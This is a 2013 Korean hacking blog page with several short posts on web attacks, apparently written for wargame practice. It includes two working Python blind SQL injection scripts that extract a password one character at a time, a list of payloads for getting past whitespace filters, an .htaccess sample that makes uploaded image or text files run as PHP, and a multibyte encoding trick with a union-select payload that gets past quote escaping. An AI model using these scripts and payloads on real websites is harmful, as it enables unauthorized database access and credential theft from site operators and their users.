Notice»

Recent Post»

Recent Comment»

Recent Trackback»

Archive»

« 2024/5 »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

 
 

XML Attack Surface

Webhacking | 2013. 8. 28. 04:26 | Posted by binaryU

설명이 필요 없음.


그냥 첨부물 보고 이해되면 다행이고, 뭔 소린지 모르면, 설명을 해도 소용 없음.


owasp2013-pierreernst-xmlattacksurface-130122204804-phpapp02.pdf


'Webhacking' 카테고리의 다른 글

Python Blind Injection Sample  (0) 2013.03.04
SQL Injection 공백 우회방법  (0) 2013.03.04
[PHP2EXE] PHP Compiler/Embedder 1.21  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
webhacking.kr 9번 문제 풀이  (1) 2013.03.04
:

Python Blind Injection Sample

Webhacking | 2013. 3. 4. 02:07 | Posted by binaryU

[GET 방식 샘플]


import re,urllib,urllib2

#fw = urllib.urlopen("http://binaryu.tistory.com/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
#read = fw.read()

password=""

for j in range(1,100):
   print "%d" %j
   for i in range(33,126):
       url="http://binaryu.tistory.com/index.php?no=2+and+substring(pw,%d,1)=char(%d)" %(j,i)
       req=urllib2.Request(url)
       req.add_header('Cookie',"notice=yes; PHPSESSID=863fc9ebeb49ef2bb20976baed9de368")
       read=urllib2.urlopen(req).read()
       ok = re.findall("True",read)
       if ok:
           password=password+chr(i)
           print password
           break



[POST 방식 샘플]


import re,urllib,urllib2

#fw = urllib.urlopen("http://binaryu.tistory.com/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
#read = fw.read()

password=""

for j in range(1, 33):
   for i in range(48,123):
      if i < 58 or i > 96:
          url="http://binaryu.tistory.com/index.php"
          login_form={"id": "admin' and substr(pw,%d,1)=char(%s)#" %(j,i), "pw": ""}
          login_req=urllib.urlencode(login_form)
          req=urllib2.Request(url,login_req)
          req.add_header('Cookie',"notice=yes; PHPSESSID=c473aaff2c3d93c21ad8a0a2cf505036")
          read=urllib2.urlopen(req).read()
          ok = re.findall("Wrong password!",read)
          if ok:
              password=password+chr(i)
              print password
              break


'Webhacking' 카테고리의 다른 글

XML Attack Surface  (0) 2013.08.28
SQL Injection 공백 우회방법  (0) 2013.03.04
[PHP2EXE] PHP Compiler/Embedder 1.21  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
webhacking.kr 9번 문제 풀이  (1) 2013.03.04
:

SQL Injection 공백 우회방법

Webhacking | 2013. 3. 4. 01:47 | Posted by binaryU

SQL Injection 공격시 공백 문자 필터링시 우회 방법

 

1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'

'Webhacking' 카테고리의 다른 글

XML Attack Surface  (0) 2013.08.28
Python Blind Injection Sample  (0) 2013.03.04
[PHP2EXE] PHP Compiler/Embedder 1.21  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
webhacking.kr 9번 문제 풀이  (1) 2013.03.04
:

[PHP2EXE] PHP Compiler/Embedder 1.21

Webhacking | 2013. 3. 4. 01:28 | Posted by binaryU

[PHP2EXE] PHP Compiler/Embedder 1.21


bamcompile.exe

 


php로 짠 프로그램을 홈페이지 서버가 없이, PC에서 컴파일하여 실행시킨다.

 

간단한 php 소스를 수정하면서, 분석할때 유용하다.

'Webhacking' 카테고리의 다른 글

Python Blind Injection Sample  (0) 2013.03.04
SQL Injection 공백 우회방법  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
webhacking.kr 9번 문제 풀이  (1) 2013.03.04
Mysql Table Name Search  (0) 2013.03.04
:

.htaccess Attack Sample for PHP

Webhacking | 2013. 3. 4. 01:19 | Posted by binaryU

Upload:
AddType application/x-httpd-php .php .php3 .php4 .htm .html .txt .jpg .cgi
 
Query sniffing:
php_value auto_prepend_file aa.php
php_value mysql.default_host  1.1.1.1
php_value mysql.default_user  root
php_value mysql.default_password  root
 
Engine Off:
php_value engine off

:

webhacking.kr 9번 문제 풀이

Webhacking | 2013. 3. 4. 01:18 | Posted by binaryU

Apache HTTP Basic Authorization Bypass


bypass_apache_web_authorization.pdf


9번 문제는 일단 인증을 우회하고 들어간다음...


본격적으로 문제를 풀어야 하는데...


인증에서 부터 막히는 사람들이 꽤 많은것 같다...


그런 사람들은 위 pdf 문서를 먼저 참고하면 좋겠다.

'Webhacking' 카테고리의 다른 글

[PHP2EXE] PHP Compiler/Embedder 1.21  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
Mysql Table Name Search  (0) 2013.03.04
mb_convert_encoding 취약점으로 magic_quotes_gpc 우회하기  (0) 2013.03.04
아스키 코드표  (0) 2013.02.12
:

Mysql Table Name Search

Webhacking | 2013. 3. 4. 01:13 | Posted by binaryU

Query 구문 마지막에 다음과 같이 procedure analyse()를 추가하면,

 

관련된 DB명, Table명, Field명을 확인 할 수있다.

 

select * from table procedure analyse();

:

PHP에서 SQL-Injection을 할때, magic_quotes_gpc 설정때문에 '입력이 안될경우 :

 

mb_convert_encoding 취약점 (%a1 ~ %fe 으로 magic_quotes_gpc %27 우회)


차단 : id=%27or%201=1%20and%20id=char(97,100,109,105,110)%23&pw=guest
우회 : id=%aa%27or%201=1%20and%20id=char(97,100,109,105,110)%23&pw=guest


예문) http://www.tistory.com/index.php?id=binaryu%aa%27/*&pw=*/union/**/select/**/3%23

'Webhacking' 카테고리의 다른 글

[PHP2EXE] PHP Compiler/Embedder 1.21  (0) 2013.03.04
.htaccess Attack Sample for PHP  (0) 2013.03.04
webhacking.kr 9번 문제 풀이  (1) 2013.03.04
Mysql Table Name Search  (0) 2013.03.04
아스키 코드표  (0) 2013.02.12
:

아스키 코드표

Webhacking | 2013. 2. 12. 13:31 | Posted by binaryU

깔끔한 아스키 코드표


모의해킹 워게임 싸이트로 유명한 http://suninatas.com (써니나타스)에서 가져왔습니다.

 

: